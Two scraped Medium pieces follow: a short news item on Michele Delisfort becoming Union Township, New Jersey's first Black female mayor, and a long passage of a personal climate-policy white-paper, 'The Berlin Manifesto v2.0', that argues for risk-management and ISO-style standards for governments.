Michele Delisfort Selected as Mayor at Union’s Reorg Meeting. Photo Credit: Township of Union, New Jersey — Government Facebook Page On New Year’s Day, the Township of Union held its annual reorganization meeting at Town Hall where newly reelected committeewoman Michele Delisfort was selected as the Township’s new mayor. Delisfort is the first black female mayor in the Township’s history and the first Haitian female Mayor in the State. Union’s newest mayor was sworn into office in a packed Town Hall meeting room during the Township’s Reorganization meeting. Michele Delisfort began her remarks by acknowledging her family and colleagues. “It is a given that none of us ascends to elected office without the sacrifices and support of others,” she said. “So, I’d like to dedicate this moment to those whose sacrifices and support made it possible for me to appear before you today as the first Black female and first Haitian-American mayor of the great Township of Union.” Delisfort acknowledged her husband George and sons. “My amazing family has supported my journey in service from the very beginning,” she said, “from my years serving on the Union Planning Board, my first term as Committeeperson, and now as your Mayor.” Delisfort said her parents, Guy and Suzette Delisfort, immigrated from Haiti and established their medical practice in Newark, before “choosing the Township of Union as the ideal community in which to raise their children.” As part of her speech to the hundreds of residents in attendance, she lauded her predecessor, Committeewoman Suzette Cavadas, for all of the accomplishments realized during her two years as Mayor, and highlighted some of the initiatives in store under her leadership for 2019. “As a woman, I believe women should encourage and help each other rise up,” said the former mayor and Township Committeewoman Suzette Cavadas. “During my two years as mayor, Michele was nothing but supportive and encouraging. I will be there with her to help her succeed at every level.” Delisfort is a small business owner of an urban planning consultancy firm and has over 20 years of professional experience in land use planning, redevelopment planning, and community development. She is a licensed professional planner and nationally certified by the American Institute of Certified Planners. She also serves as Chairperson of the New Jersey Chapter of the American Planning Association’s Redevelopment Planning Committee. Most recently, she was appointed as a member of the Ethics Committee for the National American Planning Association. Prior to being elected as Committeewoman, Delisfort served on the Township of Union Planning Board, not only as an active member but as Vice Chairperson. Michele Delisfort, Mayor of Union Township Photo Credit: Township of Union, New Jersey — Government Facebook Page Photo Source: Township of Union, New Jersey — Government

https://medium.com/@lunionsuite/haitian-american-michele-delisfort-is-union-new-jerseys-first-black-female-mayor-2f032b35694c

['Lunion Suite']

2019-01-03 18:34:18.542000+00:00

['New Jersey', 'Union Township', 'Haitian American', 'Michele Delisfor']

The Berlin Manifesto v2.0

Fridays for Future has paved the way for a new realization of the treasures our planet holds dear. It is an achievement that history has yet to rank in it’s monumental scale which Greta Thunberg single-handedly forced into existence. She acknowledged the grave situation our society has reached due to the inability to follow more than 30 years of climate research recommendations. She sat down next to the Swedish parliament with a self-made sign stating the fact that from now on, she would strike school attendance to bring awareness to this situation. She succeeded, getting carried throughout the world to spit her angry message at the world leaders. Grey haired men, wearing expensive designer suits, not knowing what was happening to them as her angry voice obliterated the schemes and excuses that dominated climate policy for decades now. There is no doubt left among leaders of relevance now that, to put it in Greta Thunberg’s words, the world is on fire indeed. Many books have since been written about her involvement in the climate activism rising like a new star on the northern sky. Books have been written about the scientific status quo. Books have been written about the policy issues involved. It might be safe to say that most words in regards to the crisis of human-created climate change have been spoken or written already. Why write this white-paper then? As an expert in risk management and digital taxonomy, I am approaching the climate change situation with a different angle. Instead of talking about the problems and hurdles currently creating a hard impasse in the rectification of the climate situation, what is offered here is a solution. The Berlin Manifesto was initiated as part of an performance art project. Art should be not a mirror for society, but a sword that transforms it. These words by Leo Tolsky have inspired me to venture on a wild trip around Europe and the digital realm, gathering impressions from all corners of our society. The original Berlin Manifesto is documented here on medium.com. This white-paper offers an in-depth review of all back then suggested notions, as well as other related issues as found on the performance art hub website and my experience as ISO quality, risk and security manager. If you follow the authors artistic ramblings throughout the web you might with with reason take his output with the grain of salt assigned to those that are definitely on the crazy side of our large human family. Throughout the performance art project I have unfortunately fallen deep into the lysergic reality of hallucinogenic enlightenment. I have accidentally set fire to the apartment of my ex partner and me. I have been held captive by police, incarcerated for arson. You name it, I made the mistake. But, given the benefit of doubt, reading this white-paper I hope you will realize that my visions of a better future hold truth in my experience of two decades of transforming organizations and digital systems in a vast variety of sectors. Finally, and this is what made me set out and create an amalgam of scientific, sociological and artistic explosion, I think if Greta Thunberg has proven nothing else it was that you can definitely change the world by being crazy with maybe just a bit of charming smart added on top. Reading the IPCC report made me realize two central issues creating the policy grid lock we have been observing for years now: the complexity of the issues involved and the lack of clear, modern risk management supervision. The first issue is simple to understand. In the end, leaders of our international organizations like the United Nations, high profile politicians, and economic decision makers coming from large corporations or think tanks are responsible for managing this crisis. And, while these persons are quite smart on the their own for obvious reasons, their challenging day to day tasks do not allow them to submerge in the climate issue for months throughout. The IPCC report is thousands of pages thick, even the summaries for policy makers span endless pages of numeric reiteration of degrees, emission data, and the likes. It is easy to get lost in between the physical reality of climate change and the political reality of executing necessary change. The climate crisis is, after all, the largest scientific endeavour since the moon landing took place. The output of thousands of the smartest minds on this planet can be cumbersome to consume. The second issue is more intricate, and to my disappointment not really part of the public discussion around the slow implementation of change of mitigation initiatives. Modern management utilizes agile and cyclic means to ensure that even the most complex projects can be progressed towards their goal within a reasonable time frame. The unicorns forming the basis of Silicon Valley technology impacting society at unprecedented scale have shown how you are able to implement monumental change within years. While individual excellence and centralized control certainly often plays a factor at modern transformative projects, management has for decades now also aligned with modern tools that originate in the assembly construction lines of Japanese automaker Toyota in the 70s. It was my realization that if the Facebooks and Googles of this world are able to modify our behavior as well as our economics deeply and on global scale within years, there should be no reason why our nations are unable to do the same. Is it not a matter of life and death which compares to a mundane matter of technical comfort and monetary gain? How is it that the biggest issue humankind has ever faced by it’s own creation, the literal box of Pandora, is not handled with the same efficiency and care that benefits the business goals of modern super corporations? My world is different to Greta Thunberg’s reality. I am 40 years old and spent my life in the digital trenches. But where she hit a brick wall of non-realization in the way the politicians ignore the climate crisis, I hit a similar brick wall in the way the politicians failed to execute necessary change. I have to admit that without Greta bringing this topic to everybody’s attention I might have never stumbled into my passion for saving this planet’s ecology. My life has been filled to the brim with artistic initiative and professional responsibility when I saw this brave girl screaming her truth at the gathered world leaders. But, and I cannot thank her enough for this, the more I started to invest time into the climate crisis situation, the more I hit the same feeling she emanated. How can the world be this wrong? How can she, a mere school pupil, maybe gifted with supreme intellect, but a child at the time nonetheless, see things that everyone else ignores. How can I, a mere technology evangelist and art pupil, maybe gifted with similar psychological oddities as Greta, see things that everyone else ignores. Using the lens of risk management, I identify five major deficiencies in current climate change policy procedures: Paris agreement and similar additive policies by bodies like the European Union or China are only loosely targeting emission goals. There is a lack of definite attached mitigation mechanism. Current democratic processes do not consider the flexibility required to implement both milestone and an actionable plan at the same time. As it stands policy equals wishful thinking, and there is yet to be proof of goals actually being delivered on time. Considering the global nature of carbon emissions, radiative forcing, carbon sink issues like deforestation, or ice shield loss it is without question that only a coordinated planet-wide effort is able to achieve significant chances of rectifying measures being effective. Available democratic means in the different regions, political unions, and nations are non-standardized and subject to local democratic power balances. The complexity and impact of the climate crisis demands transparent, efficient, and standardized management strategies in place. Public discussion and policy activities focus on the reduction of carbon emissions via immediate measures. In traditional management we currently only consider the project phase. Recent and mid-term historic experience shows that the operational phase of the implemented means holds both potential and risk currently not or only unsatisfactorily managed. New technology is regularly bolstered by economic subsidy, only to dwindle as the money disappears or other inconveniences arise. There is a need for contingency on all implementation paths, as well as continued lifetime reporting. Currently there is no democratic umbrella process in place that is able to cover all stakeholders. The ultimate impact of risks attached to climate change demands guarantees and enforceable strategy. Only the United Nations, NATO, and WTO currently hold a position feasible for policing climate change action. As such, it is vital that this position is formalized and empowered to a point where deviation from climate goals becomes the non-preferable solution. The fight against the climate crisis is only as strong as the weakest (significantly scaled) stakeholder, since any country is able to negatively impact most important climate change variables planet wide. Currently available means which effectively reduce carbon emissions are still in large parts economic trade offs. While the balance is shifting towards clean, renewable energy and similar technology, it is without doubt an economic challenge to implement significant emission reduction goals. The global economic imbalance needs to be considered for climate equity. Also, climate change risks are asymmetrically distributed over the globe, with many risks hitting economically underprivileged regions harder. The climate situation is a ripe for more liquid democratic processes since the necessary counter measures are difficult to implement and often overlap with policy making. The current six year IPCC cycle is a prime example for the deficiencies attached to slow and cumbersome political reality. Technology moves faster than politics right now, and it is a catastrophe that the best available means are often not deployed for mere delay of decision making. An essential lateral interest in climate policy arises from sun-setting of legacy technologies. Currently there is no interest in a global common sense where this activity takes place. Local politics lean in favor of climate killers for political opportunity, or in favor of cleaner technology only to stop action at borders of legislature. The climate crisis knows no borders and geographic segmentation, as it is mostly global phenomena resulting in the projected risk factors. For the sake of discussion I name the proposed mechanisms Eco-socialism 2.0. This is not a definition rooted in the existing Eco-socialist conventions, or an argument against globalization or Neo-liberalism. To the contrary, I propose more global thinking in attacking the crisis, even if some means might imply a more local look at available resources. Eco-socialism 2.0 is the natural term for the construct of this white-paper because in the spirit of fair distribution of economic resources an effective battle against the climate crisis demands a fair distribution of the load attached to reducing the carbon emissions to net-zero or even negative targets within a reasonable time frame. My endeavour into the mad decent of art intervention is not part of this white-paper. You will certainly find more on that in the future in other channels. Since my rehabilitation I have though set course to provide my experience and knowledge in a fashion less destructive for society. What follows is my first try to make amends. I would like to wrap this introduction up with an apology to those that paid dear price for my unrestrained passion raised in my hell trip: my ex partner R., our landlord, my friends, family, and the countless others I have without restraint hurt in the name of truth and greater good. Art should be a sword, this one I agree on with Leo, but you should not hit the innocent with it. Five years of Paris It is a common misconception which is only slowly disappearing that the climate crisis is an issue only manifest in the far future. Facts are getting stronger by the day that global warming drivers do already raise severe issues today. Around the globe the impact can be felt in extreme weather situations and catastrophes increasing in frequency. It is vital for the case of fighting the climate crisis that the correlation between such incidents and climate change becomes understood better and part of public awareness. The disconnect between carbon emissions and climate impacts, which can be thought of in the scale of decades, creates a difficult landscape for policy baseline. Hard emission cuts cost money, cut into labor and workforce topics, and can impact the everyday convenience for citizens. There is an obvious need for strong argument in favor of climate change mitigation measures. The impact of global warming today is exactly that, a good case for investing into the future of our planet. The first victims of global warming do live in the global south. Equity will be a topic later on in this white-paper, but looking at the pacific island nations right away highlights the severity of global warming today for many humans inhabiting sea level habitat fully exposed to oceanic changes. IPCC report estimates are uncertain about the effective sea level rise to be expected for the different pathways, but numbers in between 1.3 m and 2.4 m by 2100 should easily highlight the massive issue on the horizon for island nations. Their countries could simply disappear from the maps of the earth. Current sea level rise numbers are though only around 4 mm per year, so this effect is not felt much today. The island nations do see though a high increase in number of cyclone events. Cyclones are huge rotating air masses that exert low air pressure in their center, thus creating high waves and resulting in severe flooding next to heavy thunderstorms. Similar events are felt as hurricanes in the Atlantic region with increasing frequency. The effects of cyclones to the small Pacific island nations are catastrophic. These countries are put at extreme risk by such events due to their remoteness. Foreign help is likely days away for many of these nations. Due to slow economic development many such nations also suffer from low infrastructure and building quality, with sanitation, fresh water, electricity, and other basic needs for living being underdeveloped and directly impacted by cyclone events. Children of such nations are kept busy throughout the year heaving mud out of their flooded homes instead of attending school or enjoying a risk free childhood. Wildfires are seeing more awareness in western media due to the immediate vicinity to highly populated areas. Wildfires pose an extreme risk to inhabitants of affected dry vegetation areas, with devastating destruction resulting from fires spreading at high speed according to topology and weather situation. 2020 has been an unfortunate record year for California, where Wildfires have burnt more than 2 million acres of land, which encompasses more than 4% of the total area of the country. Climate change has been attributed to increase in frequency of wildfire, increase in area burnt, as well as the extension of the wildfire season into previously colder months. Huge power outages affecting hundreds of thousands of people are caused by such events. It is only thanks to the highly equipped emergency rescue operations of countries like California that people are able to escape or being rescued. Wildfires are phenomena also seen in less developed regions of the globe, with severe risks to human life incurred due to infrastructure not up to par to handle these often extreme fire blazes. India as another example is also already seeing heavy effects from global warming in ever increasing water shortages. In 2018 there already have been 600 million citizens seeing acute water shortages. The decrease of snow cover during the winter season effects the water supply throughout the year. Fresh water is distributed over thousands of miles. Rain fall capture can only offset the change in spring water supply where effective technology is available. At the same time the Monsoon increases in intensity, so drought periods are alternated by heavy flooding. Catastrophic effects are observed both in residential and agricultural habitat. Even western nations not commonly associated with heavy weather effects are already feeling global warming. Germany has seen the worst drought period in over 250 years in 2020. The summer heat is exceeding 30 degrees Celsius over extended periods of time, which has previously been unknown in the cool Gulf stream influenced climate region. Rivers run dry under such conditions, as well as trees dying, thinning out the essential forest biospheres. Both ecological effects and economic effects are devastating. Inland shipping is blocked by lowering river levels, and crops are failing due to lack of irrigation water. The country is not equipped yet to move the large quantities of missing water supply over the large distances from Alpine mountain regions into the northern low lands. Heat waves are particularly intense in the global south. Africa, for example, is warming faster than the world average. Worsening the situation response for the African population is the lack of proper reporting in the often low developed countries. Mean average temperatures of above 29 degrees Celsius are considered life threatening, numbers previously only recorded for small Sahara desert parts. Lack of data and response plans is already putting peoples lives at risk. Scientists are also predicting that global warming might increase the severity of snow blizzards in the winter. The Alpine region has seen up to 2 m of snow in valley areas in 2020, with precipitation exceeding previous record years. Even if not all events can be directly linked to climate change effects, the increase of frequency and severity of weather extremes and catastrophes is without doubt already showing us the direction our climate is heading to. To find the popularity vote required for stringent climate change policy, it is essential that news and education is adapted to highlight the effects of global warming as it is felt now already. It is much too convenient to view the crisis as some remote or distant future thing that might as well not exist or never affect some area of population. Fact is, all IPCC pathways show severe global warming effects, and the current carbon emission figures indicate that it will require a massive feat to achieve anything near the Paris agreement goal of “well below 2 degrees Celsius”. At the 2020 five year anniversaries “Climate Ambition Summit” world leaders like Xi Jinping, the EU commission leader Ursula von der Leyen, and Pope Francis urged swifter action for climate action. Generally, many countries are apt to promise mid term goals but fail to commit immediate mitigation. In addition, the commitment of the Paris agreement only requires the signatory parties to publish nationally determined contributions (NDC), but fails to enforce the legislature necessary to make these measures binding. The result is that emission levels are still rising at alarming rate, with current emission levels tracking the previously thought to be implausible representative concentration pathway (RCP) 8.5. The intermediate IPCC 1.5 degrees Celsius report states around 1 degrees Celsius of existing global warming compared to pre-industrial levels, leaving anything between a few years and at most around 15 years left for the RCP 1.9 goal of 1.5 degrees Celsius. It seems implausible to reach emission zero within the designated time frame, with Paris agreement’s “well below two degrees Celsius” challenging effective carbon emission reduction progress. The fragility of the Paris agreement has further been highlighted by actions of the likes of Donald Trump, who opted to withdraw the United States from the commitment altogether. Luckily the democrats won the 2020 election, and Joe Biden promises to reestablish the countries’ Paris agreement signatory with increased focus on global warming in policy making. Notable positive commitments have been provided in 2020. The European Union has increased it’s aspirations with a 55% reduction from pre-industrial levels at 2030. China designated 2030 for “at least” 65% carbon emission reduction compared to 2005. Unfortunately there is neither a standard of climate target designations nor do all countries or unions agree on a scientific baseline. Beyond the voluntary nature of legislative pressure, this results in skewed interpretations that has been called out as cheating previous goals by critical climate activism groups. As a side-note the Corona pandemic and resulting emission reductions cause by economic lock down mechanisms have been shown to have little effect on the overall global warming situation. To make things worse, net zero goals generally include vast quantities of carbon emissions getting reduced by as of now non-existent carbon sink technology or reforestation initiatives of unprecedented scale. The current situation can be summed up as dire, or to put it in the brutally honest words of Greta Thunberg “as #ParisAgreement turns five, our leaders present their ‘hopeful’ distant hypothetical targets, ‘net zero’ loopholes and empty promises”. Overall, the IPCC and United Nations endeavors are showing to fail to deliver necessary guidance and policy pressure to combat the real-world political conflicting goals between climate mitigation measures and ongoing economic challenges. Current technology still lacks the means for easy migration from fossil fuel technology into fully green variants at cost parity. Energy production, which accounts for around three quarters of greenhouse gas (GHG) emissions, is sitting at 14% carbon free technology. This includes renewable energy like solar and wind power as well as traditional nuclear energy. Electric mobility stands around 3% of new car sales, with high prices and low range not being able to see enough offset by subsidy. Industrial carbon reduction technology like hydrogen powered furnaces are still in their infancy. It should be obvious that Greta’s harsh words are only calling out the truth that most deny to see yet: without policy pressure mounting to much higher levels climate targets are doomed to fail and result in catastrophic global warming levels of 3 degrees Celsius, or even worse. This puts IPCC RCP scenarios like Greenland icecap or permafrost melting into the domain of plausibility, with catastrophic effects on sea level rise or extreme heat and drought rendering large areas of our planet’s surface unlivable in the long term future. The general biosphere consequences of global warming reaching such levels are not well understood, but expected to result in large-scale species extinction. Risks involved in the worst global warming outcomes include high political instability, human mass migratory scenarios, devastating hunger and poverty rise and other lateral effects in a form unseen since the modern age. The climate crisis might as well be called the end of earth and society as we know it. The goal of this white-paper is not to recap the climate crisis, as it has — thanks to Greta Thunberg’s Friday for Future initiative building awareness — been done countless times in recent years. I aim to provide an out-of-the-box, fresh view on the project, risk and operations management perspective of IPCC’s and United Nation’s well-intended but ultimately doomed intent of mitigation. Throughout all the negative pictures outlined above I stand with the optimism shared by the young climate activists that necessary change is possible. In the following chapter this white-paper will highlight the shortcomings of management topologies provided by IPCC, and how modern management thinking and existing tooling can help tackle these extremely difficult issues. This thinking does not arise out of my personal good spirit or some supernatural belief system, but the fact that in the digital domain where I come from cataclysmic global-scale transformations have been achieved in recent decades with similar management strategies. Management strategies The IPCC working group III has provided valuable meta research on the status of risk management strategies at the time of writing of the 2015 report. It highlights the global warming crisis as a so called risk-risk problem, with both climate change and mitigation cost involving risk for all involved parties (the countries of our planet). Additionally, the management problem is burdened by the complexities involved in the large number of stakeholders (all countries of our planet), and the asymmetric nature of the stakeholders (developed vs. developing countries). The report encourages international collective action in a very short outline, but fails to explain how this might be achieved without proper means being available beyond the United Nations loose international policy force. From a positive angle, the focus on the definition and quantification of uncertainty which stood sound in 2015 can be realigned today. Many previously unknown links between weather extremes or catastrophes and climate change have since been identified, and carbon emission pathways have worsened up to a point where policy make should more easily lean on the climate risk side of the situation. Risk perception and awareness, which holds a complete treatise in the report, is, as previously highlighted, also no longer as important as before. On the other hand, the references to intuitive decision making and consequential problems in risk mitigation read kind of prophetic today. Many of the policy initiatives summed up above provide the feeling that they might be a compromise between the reality of majority vote and the deficiencies of intuitive political engagement. The IPCC working group has highlighted the issue of short-term thinking and present bias, but seemingly not with enough emphasis. The five year Paris agreement United Nations meeting has shown that countries are starting to realize the necessity of harder mid- and long-term commitments, but the status quo shown previously highlights that this still fails to result in effective means being deployed with sufficient reliability. Ambiguity, which is only given a very short outline, is one of the main deficiencies of the original IPCC reporting form. In demand of scientific soundness and completeness, the large authorship group seems to result in an extremely taxing form of literature. The public discussion around the climate crisis still, after years of ongoing and informed debate, reflects in high ambivalence between the extreme positions of climate activism and global warming negation. This should highlight that from a management perspective there looks to be a lack of middle ground translating between expert comment and decision maker. The recent 1.5 degrees Celsius report summary for policy makers shows increased legibility, but the vast amount of scientific detail and figures still leaves strong doubt if the message is transported in proper fashion for decision makers. The obvious oversight of IPCC working group III is the omission of project and operations management from the guidance. Beyond the explanation of risk management approaches the IPCC expects with well intended reasoning that the countries and international organizations like the United Nations will be able to deliver the processes required to execute all available means. If the recent years have shown one thing it is that this is not the case. Anyone accustomed to large scale project and operations management will immediately realize that it is the project structure of the climate crisis that is doomed to fail. Large numbers of stakeholders together with conflicting interests, highly asymmetrical means of delivery, and a total lack of high level governance with executive means would imply failure for most if not all projects on much lesser scale in commercial context. From an historical point of view the working group also seems to neglect the ultimate consequences of failure in what they call the tail risks of extreme climate change events like high sea level rise destroying a large area of densely inhabited areas. Considering the ultimate consequences of such events, even the off chance of non-conforming partners putting the mitigation strategies at risk demand a much more aggressive stance at risk management. The climate crisis should therefor be considered more akin to global conflict situations like nuclear proliferation, where game theoretic approaches have found decades of experience in handling such scenarios. This only finds minute mention in the IPCC report. In the sake of sustainable international security it should definitely find proper attention in the future. Now, considering the climate crisis mitigation as failed project, modern management theory suggests the following failure recovery mechanisms: There is a clear need for IPCC and/or the United Nations to recruit the necessary technical and/or non-technical resources that seem to be currently lacking. To put things simply, the IPCC consists of thousands of scientists, but the whole issue lacks project management and oversight with executive power. Any company facing a similar issue would hopefully find and appoint the best experienced project manager available with experience to execute on the observed and failed scale. Any risk management problem can also be seen as a resource management problem. This is obvious in the global warming crisis, where carbon budgeting is the central issue (with other GHG emissions also playing a role not to ignore). Putting the situation in wider context, the effective deployment of green technology incurs second level resource issues. For example, electric vehicle acceptance is largely linked to available battery technology and pricing, with very specific and in parts scarce resources being attached. Projects require clear operational metrics. The IPCC has delivered on that front by defining variables like carbon budget and radiative forcing. Unfortunately, there is both a lack of enforcement on the metric reporting of the stakeholders as well as a frequency of reporting that leaves much to be desired. The IPCC reporting interval is six year, and only in 2020, marking the fifth year of the Paris agreement, first hard numbers of global (lack of) progress are appearing in intermediate reports. Even projects with a much lower number of stakeholders require highly efficient means of communications and knowledge management in a commercial context. The cumbersome political reality of the United Nations and IPCC do not show the necessary tooling. Yearly conferences and journal or press release publications are vastly deficient for the delivery of complex project goals with ongoing unexpected hurdles. This white-paper is written to apply such recovery means to a hypothetical climate crisis response scenario. It is important to consider that currently there is no framework within to execute the proposed mechanisms. As explained the IPCC has good reason to leave such measures open, since there is lack of precedence for global cooperation on such a scale. Unfortunately, and I do not stand alone in this critical mindset, without fundamental empowerment of United Nations, IPCC or some yet to be established global cooperation it is unlikely that anything close to the Paris agreement goals is attainable at all. The second central aspect of the project recovery this white-paper proposes is that our world is largely dominated by Neo-liberal hyper-capitalistic forces. While we do see a variety of political landscapes ranging from communist or social democratic governance over to fully liberalized markets, it is my firm belief that in the end money dictates the direction the ship is heading. Therefor it is paramount to start to view the climate crisis as an economic crisis. Attaching monetary price to climate variables might be challenging from a scientific point of view, since it introduces yet another step of uncertainty, but I am convinced that the value of this mindset change is worth any effort attached. The third and last overall recommendation this white-paper follows is that good management for a large group of peers requires some kind of standardized processes. While the IPCC has, as established, delivered benchmark variables, these are not applied in the same fashion. Countries use different baselines for carbon budgeting, and considering the operational management of mitigation approaches there is no standard or central means of tracking at all. Fortunately the International Organisation for Standardization (ISO) already covers many of the required management controls. What follows are a number of management issues that in my view need to be tackled in a concerted fashion for the climate crisis to become a manageable topic. Outside of the scope of this white-paper we are working on the delivery front of required tooling in a project called FRIDAY4FUTURE.NET. The goal of this project is the implementation of a crowd sourced reporting platform that might serve as a reference implementation for future designated information management initiatives by United Nations and IPCC. Only transparent open data reported in regular fashion will provide the necessary agility to continuously adapt policy to economic, industrial and climate reality. More detail on this will follow at the end of the white-paper. Climate assets On a most basic level, as explained the climate crisis is an asset management issue. Carbon dioxide and other GHGs are assets that require limitation to curb global warming. Fast scaling of new green technology is also limited by specific resources that simply define assets to become managed. It should not be the limited factor for electric vehicle acceptance if a country has access to the necessary natural resources to produce batteries. Free markets and attached issues like monopolies or artificial resource scarcity do not provide the required leverage for really fast scaling of all available means. Similar issues arise from knowledge as an asset. Intellectual property protection is a necessary evil of technological innovation to protect research and development investment. On the other hand, it should not be the case that tools available to capture carbon emissions or avoid them altogether are not utilized because the necessary technology is sitting with a company that simply does not do business in some region of the world. As such I identify five levels of assets in regards to the climate crisis response: First level assets are variables directly impacting global warming. This includes emissions of carbon dioxide and the other GHGs, as well as sinks like plants, oceans and other soil. One affect global warming directly in a negative fashion, resulting in global warming. The other affect global warming in a positive fashion by offsetting the emitted gases. Second level assets are physical resources indirectly impacting global warming. This includes all major resources required to build mitigation technology, as well as other major consumables that affect global warming like concrete. The acquisition of these resources needs to be decoupled from free market mechanisms to ensure all countries access in proper quantities. Additionally, resource limitations and proper resource utilization need to be identified and managed in consequence. Third level assets are immaterial resources that directly incur second level asset cost. This includes energy or fuel consumption. The calculation of these assets needs to be decoupled from the physical resource cost because the root causation enables proper management of the usage. For example, flight miles allow more concrete processing that abstract figures of crude oil extraction. Fourth level assets are immaterial values indirectly impacting global warming. This includes all intellectual property required to build mitigation technology. This intellectual property needs to be put into the public domain so that innovation can foster without artificial slow down. The fifth level asset is the cash required to implement mitigation measures. The political reality of equity alone validates to begin with economic management on a global level. Additionally, even developed nations are seeing difficulty in delivering the necessary subsidy to effectively reduce emission levels in the short term future. Obviously these asset management efforts incur economic effects that also require mitigation. Subsidy of resource of intellectual property holders might be a way to offset costs involved. New means of taxing international trade might be another form. Nuclear resources like Uranium might serve as an example of regulated assets and ways to manage distribution and fair cost sharing. Trade unions like the European Union or the African Union might serve as a priori constructs to implement economic means regionally, with global oversight by the World Trade Organization. This white-paper will not consider the definite means to execute such regulatory intrusions, but expects that without them the climate crisis will not be solved. The second and third level resources show a large overlap and possibly endless quantity of assets, and should be considered on a case per case basis based on the overall participation on global warming. Major climate crisis drivers like transportation or large industries certainly validate specific consideration, while minor natural resource applications might not show the necessary cost/benefit ratio to do so. Figure 1: Asset management levels Above you can see the five levels of managed assets that affect the climate crisis directly or indirectly. Currently the IPCC only recommends the management of the 1st level of the pyramid, as it is implemented by the Paris agreement. Unfortunately, as has been explained before the interactions between the globalized free market, political majority power, and the lower pyramid levels are too intricate to allow for a naturally developing overall solution. This is the reason why the mindset in this white-paper takes a holistic approach to the management of the climate issue. As will be explained later on, the sensitive topic of climate equity will validate the existence of the 5th level, namely effective cost of mitigation. Only a price tag will allow for the proper distribution of cost between the global north and the global south, where a clear economic slope is reality. This scheme is accompanied by an additional form of climate asset, namely the human costs incurred by risks considered by the selected RCP. If a realistic current goal would be a three degrees Celsius global warming the respective RCP risks should be selected and cost projected over the course of the century: First level human climate output is the capability of food production. As physical systems are increasingly disturbed the food production means become challenged. While some regions even see increased means of food production (e.g. increased fish stock in the norther hemisphere) it is again especially the global south that is challenged by drought and other weather phenomena. Second level human climate output is the overall human health situation. Besides lack of food there is the additional challenge of fresh water supply, the increased risk of heat or cold related health hazards, hurricane or cyclone hazards as well as other weather and catastrophe factors. Third level human climate output is the livelihood and security for the human population of an area. As the first and second level conditions decrease there will be large areas of our planet that become difficult or impossible to live in, accompanied by physical effects like sea level rise. This will result in human migration of unprecedented scale, with climate refugees incurring both security risk and security cost. Fourth level human climate output is the economic cost of the aforementioned levels. Each of the climate risks involved incurs a monetary cost value that should be correlated with the mitigation cost of the asset pyramid. This is subject to limitation due to the uncertainty principles outlined in detail in the working group III report. Nonetheless some cost factor should be defined for the four levels to ensure proper overall economic cost tally. Figure 2: Human climate output pyramid Together these two asset types form the overall monetary value or cost of a chosen RCP. Currently the climate response process lacks this kind of transparency. This is the case at the time of IPCC reporting taking place, where the abstract view of the climate situation disconnects completely from economic factors. It is also especially significant though over the course of an IPCC iteration, where the divergence between well-intended but unrealistic national commitments increases attached cost without any means of quantification. For the sake of completeness I will now highlight the third kind of cost category, namely the biosphere cost. I would like to stress though that in my interpretation of the current pathway situation, purely ecological effects might be a luxury which to protect is no longer feasible. Purely ensuring human survival, economic stability, and security will be challenging enough as it is. The idealistic Paris goals are less than realistic at the moment, and the consequences of that are indeed dire. Since heavy species extinction is expected in all currently attainable pathways the quantification of biosphere effects should though at least allow for risk response scenarios. For example artificial animal breeding or plant fostering might allow for the protection of some species. This category also incurs potentially severe tail costs due to the intricate link between species in their natural habitats, which are often not well understood and should be closely tracked as species migration and/or extinction increases. The following biosphere climate output variables are identified: First level biosphere output is the permanent physical system change. This includes sea level rise removing land mass, ice cover disappearing, permafrost thawing, deserts growing and similar effects. Second level biosphere output is the transient physical system change. Catastrophes like wildfires, hurricanes, cyclones, as well as weather condition changes like heat and drought will change the livelihood of areas for temporary periods throughout the year. Third level biosphere output is the ecosystem impact. Species will either migrate or go extinct in regions affected by the aforementioned effects. Identifying the likely scenarios will help proper biological risk response. Unfortunately, as mentioned these effects are often not well understood, so the response actions will require close monitoring of the situation as it increases in severity over the course of the century. Now that we have identified all assets involved in the climate crisis, traditional asset management suggests to define and manage the processes of acquisition, logistics, maintenance and support, as well as disposal or renewal of assets. This is so called life cycle or operations management, which the following chapter will explain in more detail. Call for management standards Currently, the IPCC and in consequence the United Nations only recommend the management of the first asset level, namely the GHG emissions. It expects each nation to properly extract the underlying process structure and implement more granular measures over the different categories explained above. While some countries like the United Kingdom do show in-depth management of many affected variables on their own, the same can not be said for a large part of the stakeholder group. Overall current policy reality creates large carbon budget debt with unclear incidence on how future generations might apply rectification measures. While knowledge transfer is certainly within the scope of United Nations efforts to coordinate a global climate crisis response, countries like the United Kingdom need to be properly utilized as best practice with clear lessons learned and operations management experience extracted for replication. Ideally this takes the form of a new family of ISO standards specifically designed for governments and large corporations to implement such a best practice on a policy level. Current available ISO standards cover many aspects of environmental management facets, but do not target countries and policy makers per se. The proposed new standard might provide a governmental umbrella standard covering the following preexisting ISO standards: ISO 14000 environmental management ISO 21930 sustainability in building and civil engineering ISO 50001 energy management In addition to these specific environment-related standards the following ISO standards already exist to define generic management systems with reliability: ISO 9000 quality management ISO 27000 information security ISO 30401 knowledge management ISO 31000 risk management ISO 55000 asset management Environmental standard coverage is only partial in relation to the afore identified assets. Additionally, the complexity of applying such a large number of standards in an institution, let alone a group of institutions like a government, is extremely taxing on the organizational and process capabilities to deliver. I would therefor recommend the implementation of a new, dedicated family of standards optimized specifically for the use of governments in global warming response. Having defined a specific governmental climate crisis response standard, policies could be adapted to enforce the implementation of such a standard in addition to the definition of (better comparable) climate goals. This would provide more leverage for United Nations, IPCC, or some other yet to be defined entity with global scope, to apply a higher management cycle frequency. Ideally, as commercial and industrial best practice examples show, some kind of agile process would allow the continuous mode of operations with up-to-date picture of both the climate and the mitigation situation. More on this will follow later on. The new suggested umbrella standard family would draw from and/or design the following management controls: GHG budgeting includes the processes and means required to effectively manage GHG emissions and offsetting mechanisms like CO2 certificates (or rather an improved future mechanism). Natural resource management includes standard asset management mechanisms for all critical natural resources like carbon sink vegetation. Energy management includes all forms of electricity, heat, cold, or other forms of stored and transported energy. Logistics and transportation management includes movement of goods and people via land, sea, or air travel. Building and civil engineering management includes standards for the sustainable construction and operations of buildings and infrastructure. Industrial management includes standards for the operation and control of industrial complexes. Intellectual property management includes the storage, distribution and cost sharing of climate crisis mitigation know how. Agricultural management defines the means to produce crop and life stock, including irrigation methods and water consumption standards. Fishery management defines the means to produce fish stock. Healthcare management standardizes the climate crisis response healthcare procedures. Refugees management standardizes the means of moving large quantities of people during or after natural disaster or negative weather condition change. Biosphere management includes standards for climate crisis response action in regards to animal or plan migration and/or extinction scenarios. Budgeting and controlling provides some form of economic book keeping to encompass the total cost of all aforementioned processes. Asset and information management enables the proper continuous control of all aforementioned assets. Project and change management enables the implementation of this vast standard family. Information security management ensures the secure implementation and operation of all aforementioned processes. As mentioned above there is a large number of existing ISO standards that can 